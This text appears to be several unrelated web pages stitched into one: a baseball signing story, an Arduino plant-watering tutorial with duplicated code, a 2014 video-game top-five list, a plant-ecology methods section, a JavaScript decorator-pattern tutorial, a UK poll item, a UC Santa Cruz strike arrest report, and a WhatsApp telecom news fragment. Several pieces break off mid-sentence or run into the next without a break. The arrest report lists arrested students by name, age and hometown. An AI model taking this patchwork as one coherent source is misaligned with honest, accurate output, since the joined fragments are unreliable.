The Twins had leftover money from their draft bonus pool, enough for a competitive offer. They started at $225,000. Poulson slept on it. He went back and told the Twins he thought he could do better. Strankman bumped the offer to $250,000 and told him he had 30 minutes to accept. Poulson said yes, and six weeks after going undrafted, he agreed to a bonus at the same level allotted to a mid-sixth-round pick.
When asked by Twins brass what he was going to do with the money, Poulson said he wanted to make sure he could stay in good shape and keep eating organic food.
– – – – – – – – –
Poulson went to Minnesota last week to see what the major leagues were like. He ran the gauntlet at Target Field – physical to make sure his arm was OK, |
loses the file after writing data Serial.println(dataString); } else { Serial.println("error opening datalog.txt"); } } // convert the temperature sensor data to Celsius float modTemp(int analog_val){ float tv = map(analog_val,0,1023,0,5000); // convert the sensor data to voltage float temp = map(tv,300,1600,-30,100) ; return temp; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <SPI.h> #include <SD.h> const int chipSelect = 4 ; void setup ( ) { Serial. begin ( 9600 ) ; while (! Serial ) { ; // wait for serial port to connect. Needed for Leonardo only } Serial. print ( "Initializing SD card..." ) ; pinMode ( 4, OUTPUT ) ; if (! SD. begin ( chipSelect ) ) { Serial. println ( "Card failed, or not present" ) ; return ; } Serial. println ( "card initialized." ) ; } void loop ( ) { String dataString = "" ; for ( int analogPin = 0 ; analogPin < 2 ; analogPin ++ ) { int sensor = analogRead ( analogPin ) ; if ( analogPin == 0 ) { dataString += String ( sensor ) ; dataString += "," ; } else if ( analogPin == 1 ) { dataString += String ( modTemp ( sensor ) ) ; } } File dataFile = SD. open ( "DATALOG.TXT", FILE_WRITE ) ; // file name if ( dataFile ) { // confirms the SD card file was successfully opened (creates a new one if not) dataFile. println ( dataString ) ; // writes the contents from dataString dataFile. close ( ) ; //closes the file after writing data Serial. println ( dataString ) ; } else { Serial. println ( "error opening datalog.txt" ) ; } } // convert the temperature sensor data to Celsius float modTemp ( int analog_val ) { float tv = map ( analog_val, 0, 1023, 0, 5000 ) ; // convert the sensor data to voltage float temp = map ( tv, 300, 1600, - 30, 100 ) ; return temp ; }
I successfully wrote the data.
Let’s build a plant monitoring device!
Now that we can write and read data from a micro SD card, let’s try to assemble a device!
Indoor plants need continuous care. Sometimes, watering your plants every day can get tedious. I’ve had numerous instances where I’d leave my plants and forget to water them for a long period of time and I would find my plants all droopy or even dead upon my arrival. Today, we’ll solve this problem by developing a watering machine!
Deciding on the design for the plant monitoring device!
First, let’s figure out the design of the device. We want to reduce the burden of watering plants so it’d be nice to have a soil sensor to detect when the soil is dry and automatically water the plant. Also, I want to read values from the temperature and the light sensors simultaneously and record them together on the SD card. We can also predict when the flowers will start blooming based on the accumulated temperature data. We can write a program that will make flower blooming predictions based on the data stored in the SD card. To summarize, we want to:
Detect soil dryness and water the plant
Record soil sensor, temperature sensor, and light sensor data in the SD card
Now, it’s time to build a device that will do these two things.
Making the soil sensor
First, let’s build a soil sensor to measure the soil’s dryness. There are prefabricated Arduino-compatible soil humidity sensors but we’re going to try something simpler in this article. The Arduino-compatible soil humidity sensor has two metal prongs that record a resistance value, which is the sensor reading. If the moisture content of the soil is high, current flows easily and the resistance value is low. Conversely, if the soil is dry, there is less electrical flow so the resistance value is high. When you understand this setup, you can test the this principle with 2 nails rather than using a special sensor.
*If you’re going to use this setup for a long period of time, iron nails will rust and the resistance value will change. In such case, it’s better to use the Arduino-compatible soil humidity sensor or rust proof nails.
Connect 2 nails to the conductive wires. These can be on the same circuit as the light sensor.
First, connect to Analog Pin 2 and read the soil sensor’s value with Analog Input. Next, fill the pot halfway with water. You can see that the value that was at 900-1000 lowers to around 600.
Since the resistance value drops as you add water, you can use these readings to determine the maximum resistance value. Again, high resistance value means the soil is dry. You can test and see what values you get by adding water.
Implementing the watering system
There are various ways to water your plants but I’ve used one that is simple and cost-effective. We can design a system that uses a simple pump nozzle from a bottle with a servo attached. It will be designed so that the servo will pump out the water by pressing the nozzle (Figure 14).
If you have a large plant that requires a lot of water, you can use a battery-powered oil pump. Depending on the size of your plant, there are all sorts of options you can try.
I bought 3 types of shampoo bottles to try. Since the servo I’m using isn’t very powerful, the servo failed to press down on two of the shampoo bottle nozzles. If your servo is weak, you can try to supply power from a separate battery and see if that works.
After much travail, I finally managed to put my watering system together (Figure 15).
Lastly, we need to write a program so we can save the soil sensor readings and water the plant whenever necessary. I set up a rule to pump 5 times whenever the resistance of the soil sensor is or above 700.
Code-Example #3 #include <SPI.h> #include <SD.h> #include <Servo.h> const int chipSelect = 4; Servo myservo; int pos = 0; int sensorValue = 0; // variable to store the value coming from the sensor int sensorPin = A0; void setup() { myservo.attach( 9 ); Serial.begin(9600); while (!Serial) { ; // wait for serial port to connect. Needed for Leonardo only } Serial.print("Initializing SD card..."); pinMode(4, OUTPUT); if (!SD.begin(chipSelect)) { Serial.println("Card failed, or not present"); return; } Serial.println("card initialized."); } void loop() { String dataString = ""; for (int analogPin = 0; analogPin < 3; analogPin++) { int sensor = analogRead(analogPin); if (analogPin == 0) { //光センサの値 dataString += "Light:"; dataString += String(sensor); dataString += ",Temp:"; } else if(analogPin == 1){ //温度センサの値 dataString += String(modTemp(sensor)); dataString += ",Ground:"; } else if(analogPin == 2){ //soil sensor value sensorValue = analogRead(sensorPin); dataString += String(sensorValue); // pump 5 times whenever the soul resistance value is above 700 if(sensorValue > 700){ for(int u=0;u<5;u++){ pos = 180; myservo.write( pos ); delay(1500); pos = 0; myservo.write( pos ); delay(1500); pos = 180; myservo.write( pos ); } } } } File dataFile = SD.open("datalog.txt", FILE_WRITE); if (dataFile) { dataFile.println(dataString); dataFile.close(); Serial.println(dataString); } else { Serial.println("error opening datalog.txt"); } } // Change the temperature sensor value to Celsius float modTemp(int analog_val){ float tv = map(analog_val,0,1023,0,5000); // Change the sensor value to voltage float temp = map(tv,300,1600,-30,100) ; return temp; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #include <SPI.h> #include <SD.h> #include <Servo.h> const int chipSelect = 4 ; Servo myservo ; int pos = 0 ; int sensorValue = 0 ; // variable to store the value coming from the sensor int sensorPin = A0 ; void setup ( ) { myservo. attach ( 9 ) ; Serial. begin ( 9600 ) ; while (! Serial ) { ; // wait for serial port to connect. Needed for Leonardo only } Serial. print ( "Initializing SD card..." ) ; pinMode ( 4, OUTPUT ) ; if (! SD. begin ( chipSelect ) ) { Serial. println ( "Card failed, or not present" ) ; return ; } Serial. println ( "card initialized." ) ; } void loop ( ) { String dataString = "" ; for ( int analogPin = 0 ; analogPin < 3 ; analogPin ++ ) { int sensor = analogRead ( analogPin ) ; if ( analogPin == 0 ) { //光センサの値 dataString += "Light:"; dataString += String(sensor); dataString += ",Temp:"; } else if(analogPin == 1){ //温度センサの値 dataString += String(modTemp(sensor)); dataString += ",Ground:"; } else if(analogPin == 2){ //soil sensor value sensorValue = analogRead(sensorPin); dataString += String(sensorValue); // pump 5 times whenever the soul resistance value is above 700 if(sensorValue > 700){ for ( int u = 0 ; u < 5 ; u ++ ) { pos = 180 ; myservo. write ( pos ) ; delay ( 1500 ) ; pos = 0 ; myservo. write ( pos ) ; delay ( 1500 ) ; pos = 180 ; myservo. write ( pos ) ; } } } } File dataFile = SD. open ( "datalog.txt", FILE_WRITE ) ; if ( dataFile ) { dataFile. println ( dataString ) ; dataFile. close ( ) ; Serial. println ( dataString ) ; } else { Serial. println ( "error opening datalog.txt" ) ; } } // Change the temperature sensor value to Celsius float modTemp ( int analog_val ) { float tv = map ( analog_val, 0, 1023, 0, 5000 ) ; // Change the sensor value to voltage float temp = map ( tv, 300, 1600, - 30, 100 ) ; return temp ; }
If you have any comments or questions, please leave them for us at Google +. Follow us there; we will be posting more soon.Looking back on this year, the one word that describes it best for me would be “hype.” Now, I won’t go into great detail about that (in this article), but the hype was most definitely real this year for a lot of releases. Unfortunately, there were a few games this year that I don’t think lived up to their hype. This resulted in a few games I was sure would make the list below, nowhere to be found. Enough about games that aren’t making the list though (Destiny). Let’s get to the good stuff. As I think about all the games I played this year, I was surprised how easy it was to pick 5 games. It is true that a couple of games very well may have made the list had I played them – like Bayonetta 2 or South Park: Stick of Truth – but when buying games for multiple platforms, it’s tough to play everything that grabs your attention. Let’s get to my list!
5.) Hearthstone: Heroes of Warcraft
I haven’t played card games for that long. If you want to count collecting Pokemon cards and hardly actually playing the game, then I started years ago, but let’s not count that. I didn’t play Magic the Gathering until just a couple of years ago and I haven’t played it in over 6 months now, mainly because the people I was playing with had years of experience. While I enjoyed the game, I ended up not having much fun. I stayed away from Hearthstone when I first had the chance to play because I still had a sour taste in my mouth, but after hearing friends speak so highly of it, I decided to give it a shot. I feel like Hearthstone is the epitome of “easy to learn, difficult to master.” With only one resource to manage and many cards without any sort of text to read and understand, most people will be able to play a game and at least feel like they understand the game after just a single match while those more competitive will still find the same draw as other trading card games.
4.) Super Smash Bros. (Wii U/3DS)
Oh Smash, how I’ve missed you. I’ve played and purchased every one since the N64 version and I hope they keep on coming. Picking up the 3DS version was a great way to get me back into the series and prepare for the Wii U version. At first I was worried the 3DS version wouldn’t be as fun because of the controller, but I was wrong. Not only did it control well, but it looked gorgeous. When the Wii U version came out, I was actually stunned when I first turned it on. The graphics and colors were sharp and vibrant and playing on a Gamecube controller again was very welcome. The game is obviously a lot more fun when you play with friends, but I’ve had plenty of fun when I play solo as well, especially with the introduction of Amiibos. At first, I thought they were ridiculous and pointless, but I’ve been caught up in the Amiibo fever for sure. Putting my Pikachu Amiibo (named Raichu) into the game and watching it learn from myself or the computer is amazing and a lot of fun. Throw in the party element with a fun new board game mode along with online play and you have a game where hundreds of hours will fly by.
3.) Middle-earth: Shadow of Mordor
I feel bad for everything I said about this game before it came out. In my very wrong mind, this game was going to be nothing more than Assassin’s Creed, but in Middle-earth. I can’t argue that it doesn’t share a few similarities, but it is definitely more than the same game in a different IP. No, this game is so much more. Shadow of Mordor is the first console game of the year that I felt actually did something interesting and new for this generation. For those unaware, this game has a “Nemesis System” and it’s something I’m unaware of in any other game. If you fight a Captain and do not kill them by slicing off their head, it is highly likely that you will encounter this enemy again. When you do, this character will have some sort of dialogue about what happened last time. It may be that they simply say you won’t get so lucky or they may call out their nice new scar courtesy of your battle. They’ll even mock you if you ran away last time because you couldn’t beat him. It’s a system that brings a lot to the feel of the game and the characters you will be fighting to progress or grow stronger. It’s the type of system that makes you wonder what else we’ll be seeing in the next few years and I think it’s a big win for Shadow of Mordor.
2.) Dragon Age: Inquisition
The fact that this made it so high up on my list when I’m still hours and hours away from beating it should tell you more than enough about this game. It has been a long time since I’ve played a non-competitive game I know I will be putting over 100 hours into without a problem. The story and the way it is presented is phenomenal, the characters are memorable, the choices are hard, and the combat is fun. Although it has a few minor issues here and there, usually involving the visuals in some way, there hasn’t been a single large issue or bug I’ve experienced yet and that says a lot in a game that is so large and has so much going on. I wouldn’t even know where to continue with praises for this game when there are so many good things to say and so many more hours I still have to put in, but I think this is one game that nobody needs convincing to play.
1.) Danganronpa: Trigger Happy Havoc & Danganronpa: Goodbye Despair
Shush. I know it’s two games, but it’s my list. While the first game in the series did come out on the PlayStation Portable in 2010, it released on Vita this year as did its glorious sequel. I always have a hard time explaining this series to people without giving much away and still keeping it interesting, but here it goes. Danganronpa is a visual novel type game with an overarching mystery thrown in. Most of the game will be interacting with other characters and a lot of dialogue, but the story and the mystery itself is it’s main selling point. Twists and turns abound in this series and it would be strange to call it a “fun ride” due to its dark content. Each game is filled with a large cast of very memorable characters, some very dark humor, a lot of death, and a whole bunch of searching for answers. I’d equate it to a very good book that you have way more involvement and investment in. It’s a story I didn’t want to put down and it wasn’t often that I did. Its unique graphics and music set it apart from other games in the genre and just adds to the reasons this series takes the top spot on my list. So you truly understand why it made it here with such ease, I highly recommend you play it and experience it for yourself.
Games that almost made the list:
Mario Kart 8
Tales of Hearts R
Fantasy LifePlant material
Potentilla reptans L. is a stoloniferous perennial herb, which occurs in meadows and river banks as well as disturbed environments, such as roadsides and pastures52. It grows stolons with rooted ramets, which normally stay connected to the mother plant for one season52 and has been shown to have high levels of clonal integration53. The ramets are rosettes that form indeterminate number of leaves whose height is regulated by petiole length and vertical inclination. Leaf height has been shown to increase with that of neighbouring plants36, 47, while leaf number has been shown to decrease under shade54, 55.
Twenty P. reptans cuttings from different sites around Tübingen, Germany were collected in December 2013. To relax environmentally-induced maternal effects, the cuttings were clonally propagated for one generation under common-garden conditions at a field site in Tübingen University, where they were individually planted in 1 L pots and covered with light fabric organza during winter.
Experimental setup
In May 2014, four newly grown ramets were severed from each P. reptans mother plant. Each ramet was then planted separately in the centre of a 12 L pot (30 cm diameter) filled with local topsoil (Bischoff GmbH & Co. KG, Rottenburg am Neckar, Germany). Individual ramets, one ramet per genotype, were assigned to one of four light-competition treatments simulating different height and density of neighbours. Light competition was simulated using transparent green plastic filters, which mimic vegetative shade in both light transmission levels and R:FR ratios (122 Fern green, Lee filters, CA, USA)23, 36. One centimetre-wide filter strips were used to create a grid of two concentric cylinders of 15 and 30 cm in diameter (Fig. 4a–f). The use of two cylinders rather than a single one provided a better simulation of light competition that could be experienced by clonal plants as they expand horizontally. To simulate vegetation through which plants could grow laterally, the filter strips were positioned 0.5 cm apart. Short and tall neighbours were simulated using 15- and 50-cm-long filter strips, respectively (Fig. 4a–f). Sparse neighbours were simulated with alternating green and clear (130 clear, Lee filters, CA, USA) strips (Fig. 4a, c, e), while dense neighbours were simulated using green strips only (Fig. 4b, d, f). This experiment resulted in a total of 80 plants (20 genotypes × 2 density treatments × 2 height treatments). The sample size (n = 20) was chosen based on previous studies where developmental plasticity in P. reptans in response to light competition was shown for a smaller sample of ca. 10 genotypes36, 55.
The filters were set around the plants following transplantation and the pots were placed on benches at a greenhouse in Tübingen University, within a distance of 50 cm between pots, to prevent shading effects among neighbouring plants. The plants were arranged in blocks according to genotype and assigned random numbers to conceal their identity during variable measurements. Photosynthetically active radiation (PAR) was measured on September 2015 for a subset of pots (seven per treatment) at four heights from the soil (2, 6, 10 and 14 cm) using a quantum light metre (LI-250, LI-COR Inc., Lincoln, NE, USA). PAR differed among treatments (ANOVA: F 3,96 = 37.087, P < 0.001), height from soil (ANOVA: F 3,96 = 18.167, P < 0.001) and their interaction (ANOVA: F 9,96 = 4.883, P < 0.001). At a height of 2–6 cm, which is leaf-lamina height at the beginning of the experiment, PAR was higher in the short-sparse compared to the tall-dense treatment, while the short-dense and tall-sparse treatments had similar intermediate PAR levels (Fig. 5a). However, the two short treatments were characterised by a gradient of increased PAR with increasing height, while PAR levels at the two tall treatments remained low (Fig. 5a). In addition to PAR levels, red to far-red ratio (R:FR) was measured in July 2017 for a subset of pots (eight per treatment) at the same four heights using a FieldSpec 4 Standard-Res Spectroradiometer (ASD Inc., Longmont, CO, USA). R:FR differed among treatments (ANOVA: F 3,112 = 53.949, P < 0.001), height from soil (ANOVA: F 3,112 = 4.327, P = 0.006) and their interaction (ANOVA: F 9,112 = 2.018, P = 0.044). As for PAR levels, R:FR was highest in the short-sparse treatment and lowest in the tall-dense treatment (Fig. 5b). Here however, only the short-dense treatment showed a gradient of increased R:FR with increasing height (Fig. 5b). Hence, in summary, each of the treatments exhibited a unique light environment, which was expressed in light intensity, light quality or both, and/or a gradient in these light characteristics.
Fig. 5 Light characteristics in the different treatments simulating vegetative shade. Values are means ± SEM of photosynthetically active radiation (PAR; a) and red to far-red ratio (R:FR; b) at different heights within the short (circles and dashed lines), tall (triangles and solid lines) sparse (bright green) and dense (dark green) treatments. Different letters indicate statistically significant differences between heights within a treatment, estimated using the least significant difference (LSD) test with the false discovery rate correction59 following an ANOVA in a (ANOVA, height from soil: P < 0.001, n = 7) and b (ANOVA, height from soil: P = 0.006, n = 8) Full size image
Measured variables
Ramet performance in response to the different treatments was estimated from the number of newly produced leaves per ramet, i.e. number of leaves at the end of the experiment minus number of leaves at its onset. Leaf number has been shown to provide an appropriate non-destructive estimate of plant size in P. reptans 54, and was also found to highly correlate with ramet biomass in a separate experiment (Supplementary Fig. 1a). The numbers of newly produced leaves in one ramet in the short-sparse, short-dense and tall-dense treatments were lost due to technical problems, resulting in a sample size of 19 per treatment.
Measurements of the plastic responses of P. reptans were carried out in August 2014, 9 weeks after the onset of the experiment. These measurements included petiole length as well as plant height, which was estimated as the vertical distance between the highest leaf tip and the soil surface. Vertical inclination in response to competition was evaluated as the ratio between plant height and its diameter, i.e. the maximum distance between the two furthermost leaf tips. This ratio was chosen because it proved easier to measure within the shading apparatus compared to petioles angles, and due to its high correlation with the latter (Supplementary Fig. 1b). Plant height in one ramet in the short-sparse treatment was lost due to technical problems, resulting in a sample size of 19 for this treatment.
Shade tolerance was estimated with specific leaf area, i.e. the ratio between lamina area and its dry weight. To that end, the two biggest laminas per ramet were harvested and photographed, and their images were used to quantify mean lamina area with the ImageJ software56. Laminae’s biomass was measured following oven drying them in 70 ˚C for 3 days. Lateral clonal growth was estimated by measuring total stolon length per plant as well as mean internode length of the stolons.
All variables were measured in the pots prior to the removal of the filters so as to not disrupt plant architecture, except for lamina area and biomass. For the latter variables, samples were identified according to randomly assigned numbers rather than treatment names to blind the investigator to treatment identity. All collected data are available in the Supplementary Data.
Data analysis
The responses of P. reptans to the height and density of simulated neighbours expressed by their number of newly produced leaves, petiole length, height-per-diameter ratio, specific leaf area, total stolon length and mean internode length were examined using a generalised linear-mixed model with filter height and density as fixed factors and plant genotype as a random factor. The number of newly produced leaves, petiole length, height-per-diameter ratio and specific leaf area were analysed with a normal probability distribution with an identity link function. Total stolon length and internode length were analysed with a Gamma probability distribution with a log link function. To account for potential differences in total stolon length due to ramet size57, 58, the number of leaves per ramet at the end of the experiment was used as a covariate (after confirming the assumption of homogeneity of slopes). Post hoc pairwise comparisons between treatments were performed using false discovery rate correction for multiple tests59, 60. These statistical analyses were performed using PASW 18 (SPSS).
In addition to the univariate analyses, a multivariate approach was employed to evaluate the complete array of plastic responses displayed by P. reptans under the different treatments. Partial redundancy analysis (RDA) was performed with diameter, height per diameter, leaf area, mean internode length, number of new leaves, petiole length, plant height, specific leaf area and total stolon length as response variables explained by the simulated neighbour treatments after removing the effect of covariates (number of leaves at the end of the experiment as an estimate of plant size and genotype). To account for different measuring units, traits were centred and standardised. Monte-Carlo permutation test (n = 999) on first and second RDA axes was used with genotype as permutation block61. Furthermore, to evaluate the effect of each of the treatments independently, simple tests for each treatment were performed using the false discovery rate correction for multiple tests50, 62. The multivariate analyses were performed using CANOCO 563.
To better estimate the treatment effects on the allometric relationships between plant height and diameter as well as between total stolon length and number of leaves, these relationships and effects were analysed using the SMA regression, which is appropriate for analysing variables that have no causal relationship64. SMA was used to test for the effect of filter height and density on shifts along a common slope and on elevation (y-intercept) between slopes (after confirming the assumption of homogeneity of slopes). The traits were log-transformed prior to the analysis. These analyses were performed using the smart package in R62.
Data availability
Data analysed in this study are included in the Supplementary InformationToday we'll be taking a look at the decorator pattern, a structural pattern that promotes code reuse and is a flexible alternative to subclassing. This pattern is also useful for modifying existing systems where you may wish to add additional features to objects without the need to change the underlying code that uses them.
Traditionally, the decorator is defined as a design pattern that allows behaviour to be added to an existing object dynamically. The idea is that the decoration itself isn't essential to the base functionality of an object otherwise it would be baked into the'superclass' object itself.
Subclassing
For developers unfamiliar with subclassing, here is a beginner's primer on them before we dive further into decorators: subclassing is a term that refers to inheriting properties for a new object from a base or'superclass' object.
In traditional OOP, a class B is able to extend another class A. Here we consider A a superclass and B a subclass of A. As such, all instances of B inherit the methods from A. B is however still able to define it's own methods, including those that override methods originally defined by A.
Should B need to invoke a method in A that has been overriden, we refer to this as method chaining. Should B need to invoke the constructor A() (the superclass), we call this constructor chaining.
In order to demonstrate subclassing, we first need a base object that can have new instances of itself created. Let's model this around the concept of a person.
var subclassExample = subclassExample || {}; subclassExample = { Person: function( firstName, lastName ){ this.firstName = firstName; this.lastName = lastName; this.gender ='male' } }
Next, we'll want to specify a new class (object) that's a subclass of the existing Person object. Let's imagine we want to add distinct properties to distinguish a Person from a Superhero whilst inheriting the properties of the Person'superclass'. As superheroes share many common traits with normal people (eg. name, gender), this should hopefully illustrate how subclassing works adequately.
//a new instance of Person can then easily be created as follows: var clark = new subclassExample.Person( "Clark", "Kent" ); //Define a subclass constructor for for 'Superhero': subclassExample.Superhero = function( firstName, lastName, powers ){ /* Invoke the superclass constructor on the new object then use.call() to invoke the constructor as a method of the object to be initialized. */ subclassExample.Person.call(this, firstName, lastName); //Finally, store their powers, a new array of traits not found in a normal 'Person' this.powers = powers; } subclassExample.Superhero.prototype = new subclassExample.Person; var superman = new subclassExample.Superhero( "Clark","Kent", ['flight','heat-vision'] ); console.log(superman); /* includes superhero props as well as gender*/
The Superhero definition creates an object which descends from Person. Objects of this type have properties of the objects that are above it in the chain and if we had set default values in the Person object, Superhero is capable of overriding any inherited values with values specific to it's object.
So where do decorators come in?
Decorators
Decorators are used when it's necessary to delegate responsibilities to an object where it doesn't make sense to subclass it. A common reason for this is that the number of features required demand for a very large quantity of subclasses. Can you imagine having to define hundreds or thousands of subclasses for a project? It would likely become unmanagable fairly quickly.
To give you a visual example of where this is an issue, imagine needing to define new kinds of Superhero: SuperheroThatCanFly, SuperheroThatCanRunQuickly and SuperheroWithXRayVision.
Now, what if s superhero had more than one of these properties?. We'd need to define a subclass called SuperheroThatCanFlyAndRunQuickly, SuperheroThatCanFlyRunQuicklyAndHasXRayVision etc - effectively, one for each possible combination. As you can see, this isn't very manageable when you factor in different abilities.
The decorator pattern isn't heavily tied to how objects are created but instead focuses on the problem of extending their functionality. Rather than just using inheritance, where we're used to extending objects linearly, we work with a single base object and progressively add decorator objects which provide the additional capabilities. The idea is that rather than subclassing, we add (decorate) properties or methods to a base object so its a little more streamlined.
The extension of objects is something already built into JavaScript and as we know, objects can be extended rather easily with properties being included at any point. With this in mind, a very very simplistic decorator may be implemented as follows:
Example 1: Basic decoration of existing object constructors with new functionality
function vehicle( vehicleType ){ /*properties and defaults*/ this.vehicleType = vehicleType || 'car', this.model = 'default', this.license = '00000-000' } /*Test instance for a basic vehicle*/ var testInstance = new vehicle('car'); console.log(testInstance); /*vehicle: car, model:default, license: 00000-000*/ /*Lets create a new instance of vehicle, to be decorated*/ var truck = new vehicle('truck'); /*New functionality we're decorating vehicle with*/ truck.setModel = function( modelName ){ this.model = modelName; } truck.setColor = function( color ){ this.color = color; } /*Test the value setters and value assignment works correctly*/ truck.setModel('CAT'); truck.setColor('blue'); console.log(truck); /*vehicle:truck, model:CAT, color: blue*/ /*Demonstrate'vehicle' is still unaltered*/ var secondInstance = new vehicle('car'); console.log(secondInstance); /*as before, vehicle: car, model:default, license: 00000-000*/
This type of simplistic implementation is something you're likely familiar with, but it doesn't really demonstrate some of the other strengths of the pattern. For this, we're first going to go through my variation of the Coffee example from an excellent book called Head First Design Patterns by Freeman, Sierra and Bates, which is modelled around a Macbook purchase.
We're then going to look at psuedo-classical decorators.
Example 2: Simply decorate objects with multiple decorators
//What we're going to decorate function MacBook() { this.cost = function () { return 997; }; this.screenSize = function () { return 13.3; }; } /*Decorator 1*/ function Memory(macbook) { var v = macbook.cost(); macbook.cost = function() { return v + 75; } } /*Decorator 2*/ function Engraving( macbook ){ var v = macbook.cost(); macbook.cost = function(){ return v + 200; }; } /*Decorator 3*/ function Insurance( macbook ){ var v = macbook.cost(); macbook.cost = function(){ return v + 250; }; } var mb = new MacBook(); Memory(mb); Engraving(mb); Insurance(mb); console.log(mb.cost()); //1522 console.log(mb.screenSize()); //13.3
Here, the decorators are overrriding the superclass.cost() method to return the current price of the Macbook plus with the cost of the upgrade being specified. It's considered a decoration as the original Macbook object's constructor methods which are not overridden (eg. screenSize()) as well as any other properties which we may define as a part of the Macbook remain unchanged and in tact.
As you can probably tell, there isn't really a defined 'interface' in the above example and duck typing is used to shift the responsibility of ensuring an object meets an interface when moving from the creator to the receiver.
Pseudo-classical decorators
We're now going to examine the variation of the decorator presented in 'Pro JavaScript Design Patterns' (PJDP) by Dustin Diaz and Ross Harmes.
Unlike some of the examples from earlier, Diaz and Harmes stick more closely to how decorators are implemented in other programming languages (such as Java or C++) using the concept of an 'interface', which we'll define in more detail shortly.
Note: This particular variation of the decorator pattern is provided for reference purposes. If you find it overly complex for your application's needs, I recommend sticking to one the simplier implementations covered earlier, but I would still read the section. If you haven't yet grasped how decorators are different from subclassing, it may help!.
Interfaces
PJDP describes the decorator as a pattern that is used to transparently wrap objects inside other objects of the same interface. An interface is a way of defining the methods an object *should* have, however, it doesn't actually directly specify how those methods should be implemented.
They can also indicate what parameters the methods take, but this is considered optional.
So, why would you use an interface in JavaScript? The idea is |
young as three years old, but just 3% of Labour voters think that it is ok to politically encourage kids under the age of five, compared to 5% of Lib Dems and a statistical 0% of Conservative/UKIP supporters.
The reason for left wingers’ enthusiasm for getting children politically engaged at a younger age could be because they tend to be earlier political bloomers themselves. The majority of Lib Dem voters say that they had become politically aware by the age of 16, whilst the majority of Labour voters reached this point by the age of 17.
By contrast, the majority of Conservative voters reached political awareness by the age of 18, and the majority of UKIP voters weren’t politically aware until the age of 20.
Photo: PA
See the full results hereAdvertisement 22 arrested at UC Santa Cruz strike; Protest continues Thursday Share Shares Copy Link Copy
One day after 20 undergraduate students were arrested at the University of California Santa Cruz during a strike, two more protesters were arrested as marches continued Thursday.Violence broke out for the first time on Thursday when a young woman struck an officer in the head, UCSC spokesman Jim Burns said. A second woman was arrested for refusing to move out of a road.PHOTOS: Find out who was arrested at UC Santa CruzUC Santa Cruz remained open Thursday as students and employees were shuttled around the strike. At 1:30 p.m. strikers had all entrances blocked, but the west entrance was clear again by 2 p.m. Many more Banana Slugs were arrested Wednesday morning. Campus police armed with riot gear asked students who were peacefully protesting to disperse from the university's west entrance on Empire Grade Road.They were ordered to move three times by police because they were blocking the entrance. When they did not, 20 were arrested on misdemeanor charges such as failing to disperse and being pedestrians in a roadway.Burns said 19 of the protesters acted peacefully and quietly as they were restrained with plastic restraints and transported on a bus to the Santa Cruz County Jail. One student pretended he was shot with a Taser, yelled, had to be forced by multiple officers onto the bus, and was charged with resisting arrest."The first individual fell to the ground, started flailing his arms and legs around, alleging he was being roughed up. Really, the officers were just trying to arrest him. He was not Tasered," Burns said. The strike is being held for the university's graduate student employees, who are represented by the United Auto Workers union. The union informed UCSC last week that it was going to hold a 2-day strike at four University of California campuses to protest unfair labor practices and intimidation of workers April 2-3.Strikes are also happening at UC Berkeley, UC San Diego, and UC Davis. Union spokeswoman Caroline McKusick described the four strikes as peaceful and legal.The Santa Cruz strike began at sunrise Wednesday when a picket line blocked UC Santa Cruz's main entrance on Bay and High streets. Police diverted traffic to the west entrance until students marched over there and blocked that entrance as well.Because of the strike, some professors held their classes off campus or cancelled them.UC Santa Cruz student Tyler Simowitz was among the students who were not happy with how the strike effected their education."I'm paying thousands of dollars to come to this school, and I can't get my education within the first week of Spring quarter and it's throwing me off," Simowitz said. Burns said the university has managed to stay open Wednesday despite efforts by the students and union to shut it down. Protesters continued marching with signs reading "STRIKE CAMPUS CLOSED," and "SLUGS ON STRIKE," even the arrests. United Auto Workers Local 2865, which represents 13,000 student employees, has been in negotiations with the University of California since last summer.The union claims students have experienced a "pattern of the intimidation of workers" by UC administrators, including when a UC Santa Cruz director threatened to fire future strikers.“The strike is exclusively about intimidation practices, it is not about the bargaining," Robert Cavooris, a UC Santa Cruz graduate student and a union representative, told The Daily Californian.A press release issued by the union states, "On February 23, 2014, the Director of the Writing Program at UCSC, told a group of union members in his employ, 'If you strike, you will not work in this program again.' UAW 2865 then filed the most recent in a series of Unfair Labor Practice Charges focused on retaliation for protected union activity. From threats, to international student’s visa status who participate in union activity, to unlawful videoing, and calling legal strikes illegal, the UCs are taking every opportunity to try and intimidate its members. In response, the 12,000 front line educators in the UCs represented by the UC Student-Worker Union UAW 2865 filed multiple ULPs and will now be striking from April 2-3."The press release continues, "On October 29, UC Berkeley and UC Santa Cruz police filmed union members striking. Labor law is very clear: it is unlawful for employers to film protected activities undertaken by employees. Finally, in the week preceding a potential strike at UC Santa Cruz which was later called off, the director of the Writing Program threatened UAW members, telling them they would not work again in his department if they participated in the upcoming strike. This threat was especially severe because the Writing Program’s hiring is left almost entirely in the director’s hands. He leads a course in which students learn pedagogy and apply for work at the same time, a class which has been the subject of previous complaints regarding the lack of transparency in its process."Mug Shots: 20 arrested during strike at UC Santa Cruz20 students arrested Wednesday at UC Santa Cruz:Joshua Brahinsky, 43, Santa Cruz.Juan Carlos Davila, 25, Santa Cruz,Amanda Rachael Reyes, 25, Farmersville, TexasJameson Andrew Rush, 20, Santa CruzMatthew Carson Wranovics, 19, Santa CruzPalom Connolly, 18, Pacific PalisadesSteven Glen Araujo, 30, Santa CruzMagally Alejandra Miranda, Santa CruzMarisa Rose Parrotta 19, Santa CruzDuncan Makana Siscon, 19, Santa CruzArash Ehya, 19, Santa CruzDanielle Nicole Williamson, 25, Santa CruzAndres Sandoval, 25, Santa CruzBennett Goldman Koss, 22, Santa CruzCorina Claire Martinez, 19, San JoseElen Mariana Colman, 24, Santa CruzMarjohnny Torres Nativi, Santa CruzNatalie Cherrington Black, 19, Santa CruzSophie Jo Pappenheim, 27, Santa CruzTala Louis Sullivan, 19, Santa CruzOn behalf of private telecom operators, Cellular Operators Association of India (COAI) has written a letter to Telecom Regulatory Authority of India (TRAI) raising concerns over Whatsapps plans to launch voice services over Internet services.
Recently, WhatsApp CEO Jan Koum had announced that it intends to launch voice calling services in the first quarter of 2015, which would be completely free.
